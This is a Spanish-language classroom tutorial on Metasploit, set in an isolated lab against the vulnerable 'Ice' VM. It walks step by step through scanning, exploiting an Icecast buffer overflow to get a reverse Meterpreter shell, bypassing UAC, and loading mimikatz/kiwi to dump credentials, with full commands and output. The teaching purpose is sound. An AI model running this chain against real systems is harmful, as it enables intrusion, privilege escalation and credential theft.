EXPLOTACIÓN Y POSTEXPLOTACIÓN CON METASPLOIT FRAMEWORK

José Luis Berenguel Gómez – IES Zaidín-Vergeles

Sumario

1. Introducción

Metasploit Framework es una herramienta de código fuente libre desarrollada y mantenida por la empresa Rapid 7. También dispone de una versión de pago, Metasploit Pro, que dispone de funcionalidades avanzadas.

Metasploit Framework se puede descarga e instalar en nuestro sistema aunque lo habitual será emplear una distribución como Kali Linux donde ya se encuentra disponible.

Web oficial de Metasploit
https://www.metasploit.com

2. Primeros pasos con Metasploit.

En esta primera sección se explicarán los comandos básicos de Metasploit junto a las opciones más habituales.

Arrancar Metasploit Framework

Metasploit utiliza una base de datos PostgreSql para la gestión de toda la información. Para poder usarlo es necesario inicializarla antes de arrancar el framework. Para ello se utiliza el comando *msfdb_init*.

```
# msfdb init
Starting database
Creating database user 'msf'
Creating databases 'msf'
Creating databases 'msf_test'
Creating configuration file '/usr/share/metasploit-framework/config/database.yml'
Creating initial database schema
```

Podemos ver la ayuda del comando msfdb con la opción -h para obtener otras opciones interesantes.

- **msfdb init:** arranca e inicializa (crea las tablas necesarias) la base de datos. Lo normal es ejecutarlo sólo una vez en una nueva instalación.
- **msfdb reinit**: Borra y reinicia la base de datos.
- **msfdb delete**: Borra la base de datos.
- **msfdb start**: Arranca la base de datos
- **msfdb stop**: Para la base de datos
- **msfdb status**: comprueba el estado de la base de datos
- **msfdb run**: arranca la base de datos y luego metasploit.

El comando *msfconsole* es la herramienta principal para utilizar el framework, existen otros, como el interfaz gráfico Armitage que no se explicará aquí. Podemos explorar las diferentes opciones con las que podemos arrancar Metasploit con la opción -h.

```
# msfconsole -h
Usage: msfconsole [options]

Common options:
    -E, --environment ENVIRONMENT    Set Rails environment, defaults to RAIL_ENV environment variable
or 'production'

Database options:
    -M, --migration-path DIRECTORY   Specify a directory containing additional DB migrations
    -n, --no-database                Disable database support
    -y, --yaml PATH                  Specify a YAML file containing database settings

Framework options:
    -c FILE                          Load the specified configuration file
    -v, -V, --version                Show version

Module options:
        --defer-module-loads         Defer module loading unless explicitly asked
    -m, --module-path DIRECTORY      Load an additional module path

Console options:
    -a, --ask                        Ask before exiting Metasploit or accept 'exit -y'
    -H, --history-file FILE          Save command history to the specified file
    -L, --real-readline              Use the system Readline library instead of RbReadline
    -o, --output FILE                Output to the specified file
    -p, --plugin PLUGIN              Load a plugin on startup
    -q, --quiet                      Do not print the banner on startup
    -r, --resource FILE              Execute the specified resource file (- for stdin)
    -x, --execute-command COMMAND    Execute the specified console commands (use ; for multiples)
    -h, --help                       Show this message
```

Podemos observar algunas opciones interesantes en la última sección (*Console options*):

- -H: para guardar la historia de comandos empleados en la sesión.
- -o: para guardar la salida en el archivo indicado.
- -x: para ejecutar comandos directamente, permite crear scripts y automatizar procesos.

Arrancamos el framework sin ninguna opción y se nos muestra un banner aleatorio, así como el número de exploits y otros elementos de la versión que estamos usando.

```
# msfconsole

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%     %%%         %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%  %%  %%%%%%%%   %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%  %  %%%%%%%%   %%%%%%%%%%% https://metasploit.com %%%%%%%%%%%%%%%%%%%%%%%%
%%  %%  %%%%%%   %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%  %%%%%%%%%   %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%  %%%  %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%    %%   %%%%%%%%%%%  %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%  %%%  %%%%%
%%%%  %%  %%  %      %%      %%    %%%%%      %    %%%%  %%   %%%%%%       %%
%%%%  %%  %%  %  %%% %%%%  %%%%  %%  %%%%  %%%%  %% %%  %% %%% %%  %%%  %%%%%
%%%%  %%%%%%  %%   %%%%%%   %%%%  %%%  %%%%  %%    %%  %%% %%% %%   %%  %%%%%
```

```
%%%%%%%%%%%% %%%%     %%%%%    %%  %%   %    %%  %%%%  %%%%   %%%   %%%     %
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%  %%%%%%% %%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%          %%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%


       =[ metasploit v6.0.15-dev                          ]
+ -- --=[ 2071 exploits - 1123 auxiliary - 352 post       ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]

Metasploit tip: Open an interactive Ruby terminal with irb

msf6 >
```

El *prompt* del entorno que se nos muestra es *msf6>* y podemos obtener ayuda de todos los comandos disponibles con *help* o *?* mostrando la lista de comandos que se muestra es bastante grande y se clasifica en secciones.

- ***Core commands***. Comandos principales de framework.
- ***Module Commands***. Permite manejar cualquier módulo, se profundizará en estos comandos más adelante.
- ***Job Commands***. Un job es un módulo que está ejecutándose en segundo plano. Con estos comandos podemos manejarlos.
- ***Resource Script Commands***. Permite realizar acciones automatizadas.
- ***Database Backend Commands***. Para gestionar el almacenamiento de información en la base de datos que usa Metasploit. Podemos importar y exportar la base de datos y consultar su estado. Más adelante se profundizará en estos elementos.
- ***Credentials Backend Commands***. Solo dispone de un comando (creds) para listar las credenciales almacenadas durante nuestros test de intrusión.
- ***Developer Commands***. Opciones para desarrolladores de módulos y otros elementos.

Gestión de Workspaces

Un workspace o área de trabajo nos va a permitir organizar la información para cada proyecto en el que trabajemos, lo que nos permitirá poder retomar o consultar el trabajo previo si fuera necesario. Por tanto, antes de iniciar cualquier acción, es recomendable consultar el workspace activo, y si fuera necesario, cambiarlo o crear uno nuevo. Por defecto, Metasploit dispone del workspace *default*.

```
msf6 > workspace
* default
```

Con la opción -a podemos añadir un nuevo workspace.

```
msf6 > workspace -a iceroom
Added workspace: iceroom
Workspace: iceroom
```

Y podemos cambiar de workspace indicando el nombre del mismo

```
msf6 > workspace iceroom
Workspace: iceroom
msf6 > workspace -v

Workspaces
==========

current  name     hosts  services  vulns  creds  loots  notes
-------  ----     -----  --------  -----  -----  -----  -----
         default  0      0         0      0      0      0
*        iceroom  0      0         0      0      0      0
```

La opción *-v* lista los workspace con más información, y la opción *-d* se utiliza para borrar el workspace indicado a continuación.

3. Caso práctico

Setup del laboratorio.

Necesitaremos dos máquinas virtuales (Kali Linux y la máquina vulnerable Ice que podemos descargarnos desde el enlace). Comprobamos que ambas máquinas estén en el mismo segmento de red para poder realizar el pentest.

	IP
Kali Linux (Atacante)	10.0.2.15
Ice Machine (Víctima)	10.0.2.6

OVA de la máquina vulnerable Ice
https://drive.google.com/open?id=19DnNlNWzNVSwiBYz5mxPWRPCWQmINzmz

Escaneo y enumeración.

Vamos a realizar un escaneo con nmap pero agregando los resultados a la base de datos de Metasploit, para ello disponemos del comando ***db_nmap***. Otra opción para hacer esto sería importando los resultados desde un fichero obtenido con una ejecución de nmap.

```
msf6 > db_nmap -sV -vv 10.0.2.6
[*] Nmap: Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-07 05:10 EDT
[*] Nmap: NSE: Loaded 45 scripts for scanning.
[*] Nmap: Initiating Ping Scan at 05:10
[*] Nmap: Scanning 10.0.2.6 [2 ports]
[*] Nmap: Completed Ping Scan at 05:10, 0.00s elapsed (1 total hosts)
[*] Nmap: Initiating Parallel DNS resolution of 1 host. at 05:10
[*] Nmap: Completed Parallel DNS resolution of 1 host. at 05:10, 0.04s elapsed
[*] Nmap: Initiating Connect Scan at 05:10
[*] Nmap: Scanning 10.0.2.6 [1000 ports]
...
```

```
[*] Nmap: Host is up, received conn-refused (0.00054s latency).
[*] Nmap: Scanned at 2021-04-07 05:10:52 EDT for 62s
[*] Nmap: Not shown: 989 closed ports
[*] Nmap: Reason: 989 conn-refused
[*] Nmap: PORT      STATE SERVICE      REASON  VERSION
[*] Nmap: 135/tcp   open  msrpc        syn-ack Microsoft Windows RPC
[*] Nmap: 139/tcp   open  netbios-ssn  syn-ack Microsoft Windows netbios-ssn
[*] Nmap: 445/tcp   open  microsoft-ds syn-ack Microsoft Windows 7 - 10 microsoft-ds (workgroup:
WORKGROUP)
[*] Nmap: 5357/tcp  open  http         syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
[*] Nmap: 8000/tcp  open  http         syn-ack Icecast streaming media server
[*] Nmap: 49152/tcp open  msrpc        syn-ack Microsoft Windows RPC
[*] Nmap: 49153/tcp open  msrpc        syn-ack Microsoft Windows RPC
[*] Nmap: 49154/tcp open  msrpc        syn-ack Microsoft Windows RPC
[*] Nmap: 49155/tcp open  msrpc        syn-ack Microsoft Windows RPC
[*] Nmap: 49156/tcp open  msrpc        syn-ack Microsoft Windows RPC
[*] Nmap: 49157/tcp open  msrpc        syn-ack Microsoft Windows RPC
[*] Nmap: Service Info: Host: DARK-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
[*] Nmap: Read data files from: /usr/bin/../share/nmap
[*] Nmap: Service detection performed. Please report any incorrect results at https://nmap.org/submit/
.
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 62.26 seconds
```

Pregunta de autoevaluación
¿Qué tipo de escaneo realizaba la opción *-sV* de nmap?

En otras ocasiones será necesario realizar un escaneo más profundo de todos los puertos del equipo para tratar de descubrir el mayor número de servicios. Las opciones recomendadas serían *-sS -p-*

Tras el escaneo podemos consultar cómo se ha actualizado la base de datos de nuestro workspace. Con el comando ***hosts*** obtenemos la lista de hosts añadidos.

```
msf6 > hosts

Hosts
=====

address   mac  name  os_name  os_flavor  os_sp  purpose  info  comments
-------   ---  ----  -------  ---------  -----  -------  ----  --------
10.0.2.6        Unknown                    device
```

Podemos consultar también los servicios descubiertos para todos los hosts añadidos con el comando ***services***.

```
msf6 > services
Services
========

host      port   proto  name          state  info
----      ----   -----  ----          -----  ----
10.0.2.6  135    tcp    msrpc         open   Microsoft Windows RPC
10.0.2.6  139    tcp    netbios-ssn   open   Microsoft Windows netbios-ssn
10.0.2.6  445    tcp    microsoft-ds  open   Microsoft Windows 7 - 10 microsoft-ds workgroup:
WORKGROUP
10.0.2.6  5357   tcp    http          open   Microsoft HTTPAPI httpd 2.0 SSDP/UPnP
10.0.2.6  8000   tcp    http          open   Icecast streaming media server
10.0.2.6  49152  tcp    msrpc         open   Microsoft Windows RPC
10.0.2.6  49153  tcp    msrpc         open   Microsoft Windows RPC
10.0.2.6  49154  tcp    msrpc         open   Microsoft Windows RPC
```

```
10.0.2.6  49155  tcp    msrpc         open   Microsoft Windows RPC
10.0.2.6  49156  tcp    msrpc         open   Microsoft Windows RPC
10.0.2.6  49157  tcp    msrpc         open   Microsoft Windows RPC
```

Por último, podemos consultar la lista de vulnerabilidades encontradas hasta el momento con el comando ***vulns***. En este punto, la consulta no muestra nada aún.

```
msf6 > vulns

Vulnerabilities
===============

Timestamp  Host  Name  References
---------  ----  ----  ----------
```

Explotación.

En este momento nos vamos a fijar en el servicio ***Icecast streaming media server*** que está ejecutándose en el **puerto 8000**. La versión que está ejecutándose tiene la vulnerabilidad CVE-2004-1561 del tipo Execute Code Overflow con una puntuación CVSS 7.5.

Información de la vulnerabilidad CVE-2004-1561
https://www.cvedetails.com/cve/CVE-2004-1561/

Vamos a buscar en Metasploit si existe un exploit para esta vulnerabilidad. Usamos el comando search.

```
msf6 > search icecast

Matching Modules
================

   #  Name                                  Disclosure Date  Rank   Check  Description
   -  ----                                  ---------------  ----   -----  -----------
   0  exploit/windows/http/icecast_header  2004-09-28       great  No     Icecast Header Overwrite


Interact with a module by name or index. For example info 0, use 0 or use
exploit/windows/http/icecast_header
```

Podemos consultar la información completa del exploit con ***info 0*** o la ruta al exploit. Si la búsqueda hubiera ofrecido más de un resultado, usaríamos el índice deseado según la columna # en los resultados de búsqueda.

```
msf6 > info 0

       Name: Icecast Header Overwrite
     Module: exploit/windows/http/icecast_header
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2004-09-28

Provided by:
  spoonm <spoonm@no$email.com>
  Luigi Auriemma <aluigi@autistici.org>
```

```
Available targets:
  Id  Name
  --  ----
  0   Automatic

Check supported:
  No

Basic options:
  Name    Current Setting  Required  Description
  ----    ---------------  --------  -----------
  RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with
syntax 'file:<path>'
  RPORT   8000             yes       The target port (TCP)

Payload information:
  Space: 2000
  Avoid: 3 characters

Description:
  This module exploits a buffer overflow in the header parsing of
  icecast versions 2.0.1 and earlier, discovered by Luigi Auriemma.
  Sending 32 HTTP headers will cause a write one past the end of a
  pointer array. On win32 this happens to overwrite the saved
  instruction pointer, and on linux (depending on compiler, etc) this
  seems to generally overwrite nothing crucial (read not exploitable).
  This exploit uses ExitThread(), this will leave icecast thinking the
  thread is still in use, and the thread counter won't be decremented.
  This means for each time your payload exits, the counter will be
  left incremented, and eventually the threadpool limit will be maxed.
  So you can multihit, but only till you fill the threadpool.

References:
  https://cvedetails.com/cve/CVE-2004-1561/
  OSVDB (10406)
  http://www.securityfocus.com/bid/11271
  http://archives.neohapsis.com/archives/bugtraq/2004-09/0366.html
```

Observamos cómo este exploit aprovecha la vulnerabilidad que hemos encontrado por lo que vamos a probarlo. Con el comando ***use*** podemos seleccionar el módulo, indicando el índice o la ruta. Observamos cómo el prompt de Metasploit cambia y ahora se muestra el módulo que se encuentra seleccionado, en este caso es un exploit y la ruta al mismo.

```
msf6 > use 0
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/http/icecast_header) >
```

En la salida del comando *info*, también se puede ver la lista de opciones del módulo, una vez seleccionado también lo podemos consultar con el comando ***show options***. Ahora, además de las opciones del módulo, se muestran las opciones de configuración del payload que se ha cargado por defecto al seleccionar el exploit.

```
msf6 exploit(windows/http/icecast_header) > show options

Module options (exploit/windows/http/icecast_header):

   Name    Current Setting  Required  Description
```

```
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with
syntax 'file:<path>'
   RPORT   8000             yes       The target port (TCP)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     10.0.2.15        yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic
```

La única variable que no tiene un valor asignado es RHOSTS que hace referencia al host o hosts remotos sobre los que se lanzará el exploit. Para agregar un valor tenemos el comando ***set***.

```
msf6 exploit(windows/http/icecast_header) > set RHOSTS 10.0.2.6
RHOSTS => 10.0.2.6
```

Ya está todo listo para poder ejecutar el exploit y aprovechar la vulnerabilidad en el servicio Icecast para acceder a la máquina remota. El comando ***exploit*** hace el trabajo.

```
msf6 exploit(windows/http/icecast_header) > exploit

[*] Started reverse TCP handler on 10.0.2.15:4444
[-] 10.0.2.6:8000 - Exploit failed [unreachable]: Rex::ConnectionTimeout The connection timed out
(10.0.2.6:8000).
[*] Exploit completed, but no session was created.
msf6 exploit(windows/http/icecast_header) > exploit

[*] Started reverse TCP handler on 10.0.2.15:4444
[*] Sending stage (175174 bytes) to 10.0.2.6
[*] Meterpreter session 1 opened (10.0.2.15:4444 -> 10.0.2.6:49159) at 2021-04-07 05:47:02 -0400

meterpreter >
```

La explotación ha tenido éxito y se nos muestra la consola remota con una shell de ***meterpreter*** (el payload seleccionado).

Postexplotación.

Una vez que tenemos acceso a la máquina remota comienza la fase de postexplotación. En esta fase las acciones que podemos realizar son diversas, tratar de mantener el acceso en el futuro, escalar privilegios en la máquina, pivotar hacia otras máquinas del mismo segmento de red, etc.

Con el comando ***help*** de *meterpreter* podemos obtener toda la información de las acciones que podemos realizar.

Una de las primeras tareas que se suelen realizar es migrar el proceso en el que se ejecuta la shell remota a un proceso más estable, uno de los elegidos suele ser el proceso spoolsv.exe. Se puede consultar la lista de procesos que se están ejecutando en la máquina remota con el comando ***ps***.

```
meterpreter > ps

Process List
============

 PID   PPID  Name               Arch  Session  User          Path
 ---   ----  ----               ----  -------  ----          ----
 0     0     [System Process]
 4     0     System
 204   4     smss.exe
 252   424   spoolsv.exe
 280   268   csrss.exe
 328   320   csrss.exe
 336   268   wininit.exe
 364   320   winlogon.exe
 424   336   services.exe
 432   336   lsass.exe
 440   336   lsm.exe
 532   424   svchost.exe
 612   424   svchost.exe
 704   424   svchost.exe
 740   424   svchost.exe
 764   424   svchost.exe
 832   424   svchost.exe
 900   424   svchost.exe
 988   424   svchost.exe
 1100  424   svchost.exe
 1128  2004  Icecast2.exe       x86   1        Dark-PC\Dark  C:\Program Files (x86)\Icecast2 Win32\
Icecast2.exe
 1144  532   WmiPrvSE.exe
 1152  424   SearchIndexer.exe
 1304  424   taskhost.exe       x64   1        Dark-PC\Dark  C:\Windows\System32\taskhost.exe
 1620  424   svchost.exe
 1760  424   sppsvc.exe
 1980  740   dwm.exe            x64   1        Dark-PC\Dark  C:\Windows\System32\dwm.exe
 2004  1972  explorer.exe       x64   1        Dark-PC\Dark  C:\Windows\explorer.exe
```

Con el comando ***migrate*** podemos migrar nuestra shell al proceso deseado, vamos a intentarlo con spoolsv.

```
meterpreter > migrate 252
[*] Migrating from 1128 to 252...
[-] Error running command migrate: Rex::RuntimeError Cannot migrate into this process (insufficient
privileges)
```

El proceso no ha tenido éxito dado que no tenemos privilegios suficientes. Podemos obtener información del usuario con el que estamos en la máquina con el comando ***getuid***.

```
meterpreter > getuid
Server username: Dark-PC\Dark
```

Y los privilegios de los que dispone el usuario con ***getprivs***.

```
meterpreter > getprivs

Enabled Process Privileges
==========================

Name
----
SeChangeNotifyPrivilege
SeIncreaseWorkingSetPrivilege
SeShutdownPrivilege
SeTimeZonePrivilege
SeUndockPrivilege
```

El comando ***sysinfo*** nos ofrece información del sistema.

```
meterpreter > sysinfo
Computer        : DARK-PC
OS              : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows
```

El comando ***run*** nos permite ejecutar módulos post de Metasploit, por ejemplo, probaremos el módulo ***post/windows/gather/checkvm*** que nos ayuda a determinar si estamos en una máquina virtual.

```
meterpreter > run post/windows/gather/checkvm

[*] Checking if DARK-PC is a Virtual Machine ...
[+] This is a VirtualBox Virtual Machine
```

Otro módulo interesante es ***post/multi/recon/local_exploit/suggester***, que va a realizar un chequeo sobre la máquina para sugerir exploits con los que poder escalar privilegios.

```
meterpreter > run post/multi/recon/local_exploit_suggester

[*] 10.0.2.6 - Collecting local exploits for x86/windows...
[*] 10.0.2.6 - 35 exploit checks are being tried...
[+] 10.0.2.6 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
nil versions are discouraged and will be deprecated in Rubygems 4
[+] 10.0.2.6 - exploit/windows/local/ikeext_service: The target appears to be vulnerable.
[+] 10.0.2.6 - exploit/windows/local/ms10_092_schelevator: The target appears to be vulnerable.
[+] 10.0.2.6 - exploit/windows/local/ms13_053_schlamperei: The target appears to be vulnerable.
[+] 10.0.2.6 - exploit/windows/local/ms13_081_track_popup_menu: The target appears to be vulnerable.
[+] 10.0.2.6 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable.
[+] 10.0.2.6 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.
[+] 10.0.2.6 - exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The service is running,
but could not be validated.
[+] 10.0.2.6 - exploit/windows/local/ntusermndragover: The target appears to be vulnerable.
[+] 10.0.2.6 - exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable.
```

Observemos el primer resultado que nos muestra como sugerencia porque será el que usemos más adelante.

Si queremos convertir nuestro meterpreter en una shell local, el comando ***shell*** hace el trabajo. Para

volver a meterpreter, usamos ***exit***.

```
meterpreter > shell
Process 2956 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Program Files (x86)\Icecast2 Win32>exit
exit
meterpreter >
```

Ahora queremos volver a la shell de Metasploit, pero manteniendo la sesión en la máquina víctima. Podemos pasar a ejecutar la shell de meterpreter en segundo plano con el comando ***background***, ***bg*** o con *CTRL+Z*.

```
meterpreter > bg
[*] Backgrounding session 2...
```

Vamos a seleccionar el exploit local que obtuvimos en la sugerencias.

```
msf6 exploit(windows/http/icecast_header) > use exploit/windows/local/bypassuac_eventvwr
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
```

Los exploits locales necesitan una sesión para ser ejecutados, consultemos las opciones de este exploit.

```
msf6 exploit(windows/local/bypassuac_eventvwr) > show options

Module options (exploit/windows/local/bypassuac_eventvwr):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     10.0.2.15        yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows x86
```

Con el comando ***sessions*** podemos obtener un listado de las sesiones disponibles en Metasploit.

```
msf6 exploit(windows/local/bypassuac_eventvwr) > sessions

Active sessions
===============
```

```
  Id  Name  Type                     Information            Connection
  --  ----  ----                     -----------            ----------
  2         meterpreter x86/windows  Dark-PC\Dark @ DARK-PC  10.0.2.15:4444 -> 10.0.2.6:49161
(10.0.2.6)
```

Establecemos el valor de la opción SESSION a la sesión que corresponda según nuestro equipo.

```
msf6 exploit(windows/local/bypassuac_eventvwr) > set SESSION 2
SESSION => 2
```

Ejecutamos el exploit local con el comando ***run***. La ejecución podría requerir más de un intento, o puede ser necesario reiniciar las máquinas en caso de fallo.

```
msf6 exploit(windows/local/bypassuac_eventvwr) > run

[*] Started reverse TCP handler on 10.0.2.15:4444
[*] UAC is Enabled, checking level...
[+] Part of Administrators group! Continuing...
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing...
[*] Configuring payload and stager registry keys ...
[*] Executing payload: C:\Windows\SysWOW64\eventvwr.exe
[+] eventvwr.exe executed successfully, waiting 10 seconds for the payload to execute.
[*] Sending stage (175174 bytes) to 10.0.2.6
[*] Meterpreter session 3 opened (10.0.2.15:4444 -> 10.0.2.6:49160) at 2021-04-07 06:25:12 -0400
[*] Sending stage (175174 bytes) to 10.0.2.6
[*] Meterpreter session 4 opened (10.0.2.15:4444 -> 10.0.2.6:49162) at 2021-04-07 06:25:13 -0400
[*] Cleaning up registry keys ...

meterpreter >
```

Comprobamos ahora en esta nueva shell los privilegios que tenemos.

```
meterpreter > getprivs

Enabled Process Privileges
==========================

Name
----
SeBackupPrivilege
SeChangeNotifyPrivilege
SeCreateGlobalPrivilege
SeCreatePagefilePrivilege
SeCreateSymbolicLinkPrivilege
SeDebugPrivilege
SeImpersonatePrivilege
SeIncreaseBasePriorityPrivilege
SeIncreaseQuotaPrivilege
SeIncreaseWorkingSetPrivilege
SeLoadDriverPrivilege
SeManageVolumePrivilege
SeProfileSingleProcessPrivilege
SeRemoteShutdownPrivilege
SeRestorePrivilege
SeSecurityPrivilege
SeShutdownPrivilege
SeSystemEnvironmentPrivilege
SeSystemProfilePrivilege
SeSystemtimePrivilege
```

```
SeTakeOwnershipPrivilege
SeTimeZonePrivilege
SeUndockPrivilege
```

Pregunta de autoevaluación
¿Qué privilegio nos permite tomar posesión de ser propietario de ficheros?

Por tanto, hemos conseguido el objetivo de obtener privilegios de administrador en la máquina víctima.

Looting.

En la fase de *looting* (saqueo) reuniremos información adicional del sistema comprometido, principalmente las credenciales de la máquina para tratar de crackear los hashes de las mismas o realizar ataques tipo *PassTheHash*. Se puede considerar dentro de las acciones posteriores a la postexplotación, dentro de esta misma fase.

En estos momentos, la consulta de los procesos en ejecución nos mostrará muchos más procesos, aquellos catalogados como NT AUTHORITY\SYSTEM son los que se ejecutan con privilegios de administración.

```
meterpreter > ps

Process List
============

 PID   PPID  Name               Arch  Session  User                          Path
 ---   ----  ----               ----  -------  ----                          ----
 0     0     [System Process]
 4     0     System             x64   0
 204   4     smss.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\
smss.exe
 252   424   spoolsv.exe        x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\
spoolsv.exe
 280   268   csrss.exe          x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\
csrss.exe
 328   320   csrss.exe          x64   1        NT AUTHORITY\SYSTEM           C:\Windows\System32\
csrss.exe
 336   268   wininit.exe        x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\
wininit.exe
 364   320   winlogon.exe       x64   1        NT AUTHORITY\SYSTEM           C:\Windows\System32\
winlogon.exe
 424   336   services.exe       x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\
services.exe
 432   336   lsass.exe          x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\
lsass.exe
 440   336   lsm.exe            x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\
lsm.exe
 532   424   svchost.exe        x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\
svchost.exe
 612   424   svchost.exe        x64   0        NT AUTHORITY\NETWORK SERVICE  C:\Windows\System32\
svchost.exe
 704   424   svchost.exe        x64   0        NT AUTHORITY\LOCAL SERVICE    C:\Windows\System32\
svchost.exe
 740   424   svchost.exe        x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\
svchost.exe
```

```
 764   424   svchost.exe        x64   0        NT AUTHORITY\SYSTEM          C:\Windows\System32\
svchost.exe
 832   424   svchost.exe        x64   0        NT AUTHORITY\LOCAL SERVICE   C:\Windows\System32\
svchost.exe
 900   424   svchost.exe        x64   0        NT AUTHORITY\LOCAL SERVICE   C:\Windows\System32\
svchost.exe
 988   424   svchost.exe        x64   0        NT AUTHORITY\NETWORK SERVICE C:\Windows\System32\
svchost.exe
 1092  424   svchost.exe        x64   0        NT AUTHORITY\SYSTEM          C:\Windows\System32\
svchost.exe
 1100  424   svchost.exe        x64   0        NT AUTHORITY\LOCAL SERVICE   C:\Windows\System32\
svchost.exe
 1128  2004  Icecast2.exe       x86   1        Dark-PC\Dark                 C:\Program Files (x86)\
Icecast2 Win32\Icecast2.exe
 1152  424   SearchIndexer.exe  x64   0        NT AUTHORITY\SYSTEM          C:\Windows\System32\
SearchIndexer.exe
 1304  424   taskhost.exe       x64   1        Dark-PC\Dark                 C:\Windows\System32\
taskhost.exe
 1620  424   svchost.exe        x64   0        NT AUTHORITY\NETWORK SERVICE C:\Windows\System32\
svchost.exe
 1660  328   conhost.exe        x64   1        Dark-PC\Dark                 C:\Windows\System32\
conhost.exe
 1740  1128  cmd.exe            x86   1        Dark-PC\Dark                 C:\Windows\SysWOW64\
cmd.exe
 1760  424   sppsvc.exe         x64   0        NT AUTHORITY\NETWORK SERVICE C:\Windows\System32\
sppsvc.exe
 1980  740   dwm.exe            x64   1        Dark-PC\Dark                 C:\Windows\System32\
dwm.exe
 2004  1972  explorer.exe       x64   1        Dark-PC\Dark                 C:\Windows\explorer.exe
 2164  424   VSSVC.exe          x64   0        NT AUTHORITY\SYSTEM          C:\Windows\System32\
VSSVC.exe
 2460  328   conhost.exe        x64   1        Dark-PC\Dark                 C:\Windows\System32\
conhost.exe
 2504  480   powershell.exe     x86   1        Dark-PC\Dark                 C:\Windows\SysWOW64\
WindowsPowershell\v1.0\powershell.exe
```

Ahora sí podremos migrar al proceso *spoolsv* con éxito.

```
meterpreter > migrate 252
[*] Migrating from 2504 to 252...
[*] Migration completed successfully.
```

Para pasar al saqueo de credenciales disponemos de herramientas como Mimikatz, en el caso de Metasploit usaremos el *módulo kiwi*, una versión actualizada del módulo mimikatz.

Página de GitHub de Mimikatz
https://github.com/gentilkiwi/mimikatz/wiki

Con el comando ***load*** podemos cargar nuevos módulos a Metasploit.

```
meterpreter > load kiwi
Loading extension kiwi...
  .#####.   mimikatz 2.2.0 20191125 (x64/windows)
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'        Vincent LE TOUX            ( vincent.letoux@gmail.com )
  '#####'         > http://pingcastle.com / http://mysmartlogon.com  ***/

Success.
```

Una vez cargado el módulo, con el comando ***help*** podemos consultar los nuevos comandos disponibles.

```
Kiwi Commands
=============

    Command               Description
    -------               -----------
    creds_all             Retrieve all credentials (parsed)
    creds_kerberos        Retrieve Kerberos creds (parsed)
    creds_livessp         Retrieve Live SSP creds
    creds_msv             Retrieve LM/NTLM creds (parsed)
    creds_ssp             Retrieve SSP creds
    creds_tspkg           Retrieve TsPkg creds (parsed)
